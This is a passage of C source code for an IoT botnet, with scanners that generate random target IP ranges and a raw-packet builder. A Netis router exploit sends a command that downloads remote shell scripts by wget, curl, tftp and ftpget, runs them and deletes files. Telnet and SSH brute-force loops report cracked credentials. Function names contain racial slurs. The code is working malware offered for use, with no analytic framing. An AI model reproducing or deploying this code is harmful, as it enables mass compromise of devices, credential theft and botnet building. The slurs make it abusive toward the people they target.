  1558. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1559. }
  1560. if(randnum == 168)
  1561. {
  1562. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1563. }
  1564. if(randnum == 169)
  1565. {
  1566. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1567. }
  1568. if(randnum == 171)
  1569. {
  1570. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1571. }
  1572. if(randnum == 172)
  1573. {
  1574. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1575. }
  1576. if(randnum == 173)
  1577. {
  1578. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1579. }
  1580. if(randnum == 174)
  1581. {
  1582. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1583. }
  1584. if(randnum == 175)
  1585. {
  1586. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1587. }
  1588. if(randnum == 176)
  1589. {
  1590. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1591. }
  1592. if(randnum == 177)
  1593. {
  1594. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1595. }
  1596. if(randnum == 178)
  1597. {
  1598. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1599. }
  1600. if(randnum == 179)
  1601. {
  1602. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1603. }
  1604. if(randnum == 180)
  1605. {
  1606. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1607. }
  1608. if(randnum == 181)
  1609. {
  1610. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1611. }
  1612. if(randnum == 182)
  1613. {
  1614. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1615. }
  1616. if(randnum == 183)
  1617. {
  1618. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1619. }
  1620. if(randnum == 184)
  1621. {
  1622. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1623. }
  1624. if(randnum == 185)
  1625. {
  1626. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1627. }
  1628. if(randnum == 186)
  1629. {
  1630. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1631. }
  1632. if(randnum == 187)
  1633. {
  1634. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1635. }
  1636. if(randnum == 188)
  1637. {
  1638. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1639. }
  1640. if(randnum == 189)
  1641. {
  1642. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1643. }
  1644. if(randnum == 190)
  1645. {
  1646. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1647. }
  1648. if(randnum == 191)
  1649. {
  1650. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1651. }
  1652. if(randnum == 192)
  1653. {
  1654. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1655. }
  1656. if(randnum == 193)
  1657. {
  1658. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1659. }
  1660. if(randnum == 194)
  1661. {
  1662. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1663. }
  1664. if(randnum == 195)
  1665. {
  1666. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1667. }
  1668. if(randnum == 196)
  1669. {
  1670. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1671. }
  1672. if(randnum == 197)
  1673. {
  1674. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1675. }
  1676. if(randnum == 198)
  1677. {
  1678. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1679. }
  1680. if(randnum == 199)
  1681. {
  1682. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1683. }
  1684. if(randnum == 200)
  1685. {
  1686. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1687. }
  1688. if(randnum == 201)
  1689. {
  1690. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1691. }
  1692. if(randnum == 201)
  1693. {
  1694. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1695. }
  1696. if(randnum == 202)
  1697. {
  1698. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1699. }
  1700. if(randnum == 203)
  1701. {
  1702. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1703. }
  1704. if(randnum == 204)
  1705. {
  1706. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1707. }
  1708. if(randnum == 205)
  1709. {
  1710. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1711. }
  1712. if(randnum == 206)
  1713. {
  1714. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1715. }
  1716. if(randnum == 207)
  1717. {
  1718. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1719. }
  1720. if(randnum == 208)
  1721. {
  1722. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1723. }
  1724.  
  1725. return inet_addr(ip);
  1726. }
  1727. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,27,182,36,39,42,123,122,41,59,220,221,175,14,101,58,60,61,183};
  1728. in_addr_t NetisRanges(){
  1729. int range = rand() % (sizeof(Dickranges)/sizeof(char *));
  1730. ipState[1] = Dickranges[range];
  1731. ipState[2] = rand() % 255;
  1732. ipState[3] = rand() % 255;
  1733. ipState[4] = rand() % 255;
  1734. char ip[16] = {0};
  1735. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1736. return inet_addr(ip);
  1737. }
  1738. in_addr_t HackerScan(in_addr_t netmask){
  1739. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1740. return tmp ^ ( rand_cmwc() & ~netmask);
  1741. }
  1742. unsigned short csum (unsigned short *buf, int count){
  1743. register uint64_t sum = 0;
  1744. while( count > 1 ) { sum += *buf++; count -= 2; }
  1745. if(count > 0) { sum += *(unsigned char *)buf; }
  1746. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1747. return (uint16_t)(~sum);
  1748. }
  1749. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph){
  1750. struct tcp_pseudo
  1751. {
  1752. unsigned long src_addr;
  1753. unsigned long dst_addr;
  1754. unsigned char zero;
  1755. unsigned char proto;
  1756. unsigned short length;
  1757. } pseudohead;
  1758. unsigned short total_len = iph->tot_len;
  1759. pseudohead.src_addr=iph->saddr;
  1760. pseudohead.dst_addr=iph->daddr;
  1761. pseudohead.zero=0;
  1762. pseudohead.proto=IPPROTO_TCP;
  1763. pseudohead.length=htons(sizeof(struct tcphdr));
  1764. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1765. unsigned short *tcp = malloc(totaltcp_len);
  1766. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1767. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1768. unsigned short output = csum(tcp,totaltcp_len);
  1769. free(tcp);
  1770. return output;
  1771. }
  1772. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize){
  1773. iph->ihl = 5;
  1774. iph->version = 4;
  1775. iph->tos = 0;
  1776. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1777. iph->id = rand_cmwc();
  1778. iph->frag_off = 0;
  1779. iph->ttl = MAXTTL;
  1780. iph->protocol = protocol;
  1781. iph->check = 0;
  1782. iph->saddr = source;
  1783. iph->daddr = dest;
  1784. }
  1785. int sclose(int fd){
  1786. if(3 > fd) return 1;
  1787. close(fd);
  1788. return 0;
  1789. }
  1790. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings){
  1791. int num_bytes, i;
  1792. memset(buffer, 0, buf_size);
  1793. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1794. if(buffer[0] == 0xFF)
  1795. {
  1796. negotiate(fd, buffer, 3);
  1797. }
  1798. if(contains_string(buffer, strings))
  1799. {
  1800. return 1;
  1801. }
  1802. return 0;
  1803. }
  1804. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size){
  1805. fd_set read_set;
  1806. struct timeval tv;
  1807. tv.tv_sec = 0;
  1808. tv.tv_usec = timeout_usec;
  1809. FD_ZERO(&read_set);
  1810. FD_SET(fd, &read_set);
  1811. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1812. return 0;
  1813. return recv(fd, buffer, buf_size, 0);
  1814. }
  1815. int contains_success(char* buffer){
  1816. return contains_string(buffer, successes);
  1817. }
  1818. int contains_fail(char* buffer){
  1819. return contains_string(buffer, fails);
  1820. }
  1821. int contains_string(char* buffer, char** strings)
  1822. {
  1823. int num_strings = 0, i = 0;
  1824. for(num_strings = 0; strings[++num_strings] != 0; );
  1825. for(i = 0; i < num_strings; i++)
  1826. {
  1827. if(strcasestr(buffer, strings[i]))
  1828. {
  1829. return 1;
  1830. }
  1831. }
  1832. return 0;
  1833. }
  1834. int socket_connect(char *host, in_port_t port){
  1835. struct hostent *hp;
  1836. struct sockaddr_in addr;
  1837. int on = 1, sock;
  1838.  
  1839. if((hp = gethostbyname(host)) == NULL){
  1840. herror("gethostbyname");
  1841. exit(1);
  1842. }
  1843. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1844. addr.sin_port = htons(port);
  1845. addr.sin_family = AF_INET;
  1846. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1847. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1848.  
  1849. if(sock == -1){
  1850. perror("setsockopt");
  1851. exit(1);
  1852. }
  1853.  
  1854. if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
  1855. perror("connect");
  1856. exit(1);
  1857.  
  1858. }
  1859. return sock;
  1860. }
  1861. void NetisSkannahNigga(){
  1862. while(1){
  1863. char payload2[1024];
  1864. int clientSocket, portNum, nBytes;
  1865. struct sockaddr_in serverAddr;
  1866. socklen_t addr_size;
  1867. clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
  1868. uint32_t ip;
  1869. ip = NetisRanges();
  1870. serverAddr.sin_family = AF_INET;
  1871. serverAddr.sin_port = htons(53413);
  1872. serverAddr.sin_addr.s_addr = ip;
  1873. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1874. addr_size = sizeof serverAddr;
  1875. sprintf(payload2, "%s cd /tmp; wget http://127.0.0.1/EREBUS.sh; curl -O http://127.0.0.1/EREBUS.sh; chmod 777 EREBUS.sh; sh EREBUS.sh; tftp 127.0.0.1 -c get tEREBUS.sh; chmod 777 tEREBUS.sh; sh tEREBUS.sh; tftp -r tEREBUS2.sh -g 127.0.0.1; chmod 777 tEREBUS2.sh; sh tEREBUS2.sh; ftpget -v -u anonymous -p anonymous -P 21 127.0.0.1 EREBUS1.sh EREBUS1.sh; sh EREBUS1.sh; rm -rf EREBUS.sh tEREBUS.sh tEREBUS2.sh EREBUS1.sh; rm -rf *\r\n x00", NETIS);
  1876. sendto(clientSocket,payload2,strlen(payload2),0,(struct sockaddr *)&serverAddr,addr_size);
  1877. }
  1878. }
  1879. void TelnetSkannahNigga() {
  1880. int i, res, j;
  1881. char buf[128], cur_dir;
  1882. int wait_usec = 10;
  1883. int maxfds = 1000;
  1884. int max = maxfds;
  1885. fd_set fdset;
  1886. struct timeval tv;
  1887. socklen_t lon;
  1888. int valopt;
  1889. srand(time(NULL) ^ rand_cmwc());
  1890. char line[256];
  1891. char* buffer;
  1892. struct sockaddr_in dest_addr;
  1893. dest_addr.sin_family = AF_INET;
  1894. dest_addr.sin_port = htons(23);
  1895. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1896. buffer = malloc(BUFFER_SIZE + 1);
  1897. memset(buffer, 0, BUFFER_SIZE + 1);
  1898. struct telstate_t fds[max];
  1899. memset(fds, 0, max * (sizeof(int) + 1));
  1900. for(i = 0; i < max; i++) {
  1901. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1902. fds[i].complete = 1;
  1903. fds[i].sockbuf = buffer; }
  1904. while(1) {
  1905. for(i = 0; i < max; i++) {
  1906. if(fds[i].totalTimeout == 0) {
  1907. fds[i].totalTimeout = time(NULL); }
  1908. switch(fds[i].state) {
  1909. case 0: {
  1910. if(fds[i].complete == 1) {
  1911. char *tmp = fds[i].sockbuf;
  1912. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1913. fds[i].sockbuf = tmp;
  1914. fds[i].ip = HackerScan2(); }
  1915. else if(fds[i].complete == 0) {
  1916. fds[i].passwordInd++;
  1917. fds[i].usernameInd++;
  1918. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1919. fds[i].complete = 1;
  1920. continue; }
  1921. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1922. fds[i].complete = 1;
  1923. continue;
  1924. }
  1925. }
  1926. dest_addr.sin_family = AF_INET;
  1927. dest_addr.sin_port = htons(23);
  1928. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1929. dest_addr.sin_addr.s_addr = fds[i].ip;
  1930. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1931. if(fds[i].fd == -1) continue;
  1932. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1933. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1934. sclose(fds[i].fd);
  1935. fds[i].complete = 1; }
  1936. else {
  1937. fds[i].state = 1;
  1938. fds[i].totalTimeout = 0;
  1939. }
  1940. }
  1941. break;
  1942. case 1:
  1943. {
  1944. FD_ZERO(&fdset);
  1945. FD_SET(fds[i].fd, &fdset);
  1946. tv.tv_sec = 0;
  1947. tv.tv_usec = wait_usec;
  1948. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1949. if(res == 1) {
  1950. lon = sizeof(int);
  1951. valopt = 0;
  1952. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1953. if(valopt) {
  1954. sclose(fds[i].fd);
  1955. fds[i].state = 0;
  1956. fds[i].complete = 1;
  1957. } else {
  1958. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1959. fds[i].totalTimeout = 0;
  1960. fds[i].bufUsed = 0;
  1961. memset(fds[i].sockbuf, 0, 1024);
  1962. fds[i].state = 2;
  1963. } continue; }
  1964. else if(res == -1) {
  1965. sclose(fds[i].fd);
  1966. fds[i].state = 0;
  1967. fds[i].complete = 1;
  1968. continue; }
  1969. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1970. sclose(fds[i].fd);
  1971. fds[i].state = 0;
  1972. fds[i].complete = 1;
  1973. }
  1974. }
  1975. break;
  1976. case 2:
  1977. {
  1978. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1979. if(contains_fail(fds[i].sockbuf)) {
  1980. fds[i].state = 0;
  1981. } else {
  1982. fds[i].state = 3; }
  1983. continue; }
  1984. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1985. fds[i].state = 0;
  1986. fds[i].complete = 1;
  1987. }
  1988. }
  1989. break;
  1990. case 3: {
  1991. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1992. fds[i].state = 0;
  1993. fds[i].complete = 1;
  1994. continue; }
  1995. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1996. fds[i].state = 0;
  1997. fds[i].complete = 1;
  1998. continue; }
  1999. fds[i].state = 4; }
  2000. break;
  2001. case 4:
  2002. {
  2003. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  2004. {
  2005. if(contains_fail(fds[i].sockbuf)) {
  2006. fds[i].state = 0;
  2007. } else {
  2008. fds[i].state = 5; }
  2009. continue; }
  2010. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2011. fds[i].state = 0;
  2012. fds[i].complete = 1;
  2013. }
  2014. }
  2015. break;
  2016. case 5:
  2017. {
  2018. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  2019. fds[i].state = 0;
  2020. fds[i].complete = 1;
  2021. continue; }
  2022. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  2023. fds[i].state = 0;
  2024. fds[i].complete = 1;
  2025. continue; }
  2026. fds[i].state = 6;
  2027. }
  2028. break;
  2029. case 6:
  2030. {
  2031. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  2032. fds[i].totalTimeout = time(NULL);
  2033. if(contains_fail(fds[i].sockbuf)) {
  2034. fds[i].state = 0; }
  2035. else if(contains_success(fds[i].sockbuf)) {
  2036. if(fds[i].complete == 2) {
  2037. fds[i].state = 7; }
  2038. else {
  2039. NiggerPrint(NiggahPrinter, "\x1b[1;35mSuccessfully Bruteforced Telnet: \x1b[0;35m%s | \x1b[1;35mUsername: \x1b[0;35m%s | \x1b[1;35mPassword: \x1b[0;35m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2040. NiggerPrint(NiggahPrinter, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2041. fds[i].state = 7; }
  2042. } else {
  2043. fds[i].state = 0;
  2044. fds[i].complete = 1;
  2045. } continue; }
  2046. if(fds[i].totalTimeout + 7 < time(NULL)) {
  2047. fds[i].state = 0;
  2048. fds[i].complete = 1;
  2049. }
  2050. }
  2051. break;
  2052. case 7:
  2053. {
  2054. fds[i].totalTimeout = time(NULL);
  2055. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  2056. sclose(fds[i].fd);
  2057. fds[i].state = 0;
  2058. fds[i].complete = 1;
  2059. continue; }
  2060. fds[i].complete = 3;
  2061. if(fds[i].totalTimeout + 60 < time(NULL)) {
  2062. if(fds[i].complete !=3){
  2063. }
  2064. fds[i].state = 0;
  2065. fds[i].complete = 1;
  2066. }
  2067. break;
  2068. }
  2069. }
  2070. }
  2071. }
  2072. }
  2073. void SSHSkannahNigga()
  2074. {
  2075. int max = (getdtablesize() / 4) * 3, i, res;
  2076. fd_set myset;
  2077. struct timeval tv;
  2078. socklen_t lon;
  2079. int valopt;
  2080.  
  2081. max = max > 512 ? 512 : max;
  2082.  
  2083. struct sockaddr_in dest_addr;
  2084. dest_addr.sin_family = AF_INET;
  2085. dest_addr.sin_port = htons(22);
  2086. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2087.  
  2088. struct telstate_t
  2089. {
  2090. int fd;
  2091. uint32_t ip;
  2092. uint8_t state;
  2093. uint8_t complete;
  2094. uint8_t usernameInd;
  2095. uint8_t passwordInd;
  2096. uint32_t totalTimeout;
  2097. uint16_t bufUsed;
  2098. char *sockbuf;
  2099. } fds[max];
  2100. memset(fds, 0, max * (sizeof(int) + 1));
  2101. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  2102. struct timeval timeout;
  2103. timeout.tv_sec = 5;
  2104. timeout.tv_usec = 0;
  2105. while(1)
  2106. {
  2107. for(i = 0; i < max; i++)
  2108. {
  2109. switch(fds[i].state)
  2110. {
  2111. case 0:
  2112. {
  2113. memset(fds[i].sockbuf, 0, 1024);
  2114.  
  2115. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  2116. else {
  2117. fds[i].passwordInd++;
  2118. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  2119. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  2120. }
  2121. dest_addr.sin_family = AF_INET;
  2122. dest_addr.sin_port = htons(22);
  2123. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2124. dest_addr.sin_addr.s_addr = fds[i].ip;
  2125. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2126. setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  2127. setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  2128. if(fds[i].fd == -1) { continue; }
  2129. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2130. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  2131. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  2132. }
  2133. break;
  2134.  
  2135. case 1:
  2136. {
  2137. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  2138.  
  2139. FD_ZERO(&myset);
  2140. FD_SET(fds[i].fd, &myset);
  2141. tv.tv_sec = 0;
  2142. tv.tv_usec = 10000;
  2143. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2144. if(res == 1)
  2145. {
  2146. lon = sizeof(int);
  2147. valopt = 0;
  2148. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2149. if(valopt)
  2150. {
  2151. sclose(fds[i].fd);
  2152. fds[i].state = 0;
  2153. fds[i].complete = 1;
  2154. } else {
  2155. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  2156. fds[i].totalTimeout = 0;
  2157. fds[i].bufUsed = 0;
  2158. memset(fds[i].sockbuf, 0, 1024);
  2159. fds[i].state = 2;
  2160. continue;
  2161. }
  2162. } else if(res == -1)
  2163. {
  2164. sclose(fds[i].fd);
  2165. fds[i].state = 0;
  2166. fds[i].complete = 1;
  2167. }
  2168.  
  2169. if(fds[i].totalTimeout + 10 < time(NULL))
  2170. {
  2171. sclose(fds[i].fd);
  2172. fds[i].state = 0;
  2173. fds[i].complete = 1;
  2174. }
  2175. }
  2176. break;
  2177.  
  2178. case 2:
  2179. {
  2180. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  2181.  
  2182. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2183. {
  2184. fds[i].totalTimeout = 0;
  2185. fds[i].bufUsed = 0;
  2186. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  2187. else memset(fds[i].sockbuf, 0, 1024);
  2188. fds[i].state = 3;
  2189. continue;
  2190. }
  2191. else if(readUntil(fds[i].fd, "user:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2192. {
  2193. fds[i].totalTimeout = 0;
  2194. fds[i].bufUsed = 0;
  2195. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  2196. else memset(fds[i].sockbuf, 0, 1024);
  2197. fds[i].state = 3;
  2198. continue;
  2199. }
  2200. else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2201. {
  2202. fds[i].totalTimeout = 0;
  2203. fds[i].bufUsed = 0;
  2204. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  2205. else memset(fds[i].sockbuf, 0, 1024);
  2206. fds[i].state = 3;
  2207. continue;
  2208. }
  2209. else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2210. {
  2211. fds[i].totalTimeout = 0;
  2212. fds[i].bufUsed = 0;
  2213. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  2214. else memset(fds[i].sockbuf, 0, 1024);
  2215. fds[i].state = 3;
  2216. continue;
  2217. }
  2218. else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2219. {
  2220. fds[i].totalTimeout = 0;
  2221. fds[i].bufUsed = 0;
  2222. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  2223. else memset(fds[i].sockbuf, 0, 1024);
  2224. fds[i].state = 3;
  2225. continue;
  2226. } else {
  2227. fds[i].bufUsed = strlen(fds[i].sockbuf);
  2228. }
  2229.  
  2230. if(fds[i].totalTimeout + 10 < time(NULL))
  2231. {
  2232. sclose(fds[i].fd);
  2233. fds[i].state = 0;
  2234. fds[i].complete = 1;
  2235. }
  2236. }
  2237. break;
  2238.  
  2239. case 3:
  2240. {
  2241. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2242. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2243. fds[i].state = 4;
  2244. }
  2245. break;
  2246.  
  2247. case 4:
  2248. {
  2249. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  2250.  
  2251. if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2252. {
  2253. fds[i].totalTimeout = 0;
  2254. fds[i].bufUsed = 0;
  2255. if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
  2256. else fds[i].state = 7;
  2257. memset(fds[i].sockbuf, 0, 1024);
  2258. continue;
  2259. }
  2260. if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2261. {
  2262. fds[i].totalTimeout = 0;
  2263. fds[i].bufUsed = 0;
  2264. if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
  2265. else fds[i].state = 7;
  2266. memset(fds[i].sockbuf, 0, 1024);
  2267. continue;
  2268. }
  2269. else {
  2270. if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2271. if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2272. if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2273. if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2274. if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2275. if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2276. if(strstr(fds[i].sockbuf, "denied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2277. if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2278. if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2279. fds[i].bufUsed = strlen(fds[i].sockbuf);
  2280. }
  2281.  
  2282. if(fds[i].totalTimeout + 10 < time(NULL))
  2283. {
  2284. sclose(fds[i].fd);
  2285. fds[i].state = 0;
  2286. fds[i].complete = 1;
  2287. }
  2288. }
  2289. break;
  2290.  
  2291. case 5:
  2292. {
  2293. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2294. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2295. fds[i].state = 6;
  2296. }
  2297. break;
  2298.  
  2299. case 6:
  2300. {
  2301. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  2302.  
  2303. if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2304. {
  2305. fds[i].totalTimeout = 0;
  2306. fds[i].bufUsed = 0;
  2307. if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2308. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2309. else fds[i].state = 7;
  2310. memset(fds[i].sockbuf, 0, 1024);
  2311. continue;
  2312. }
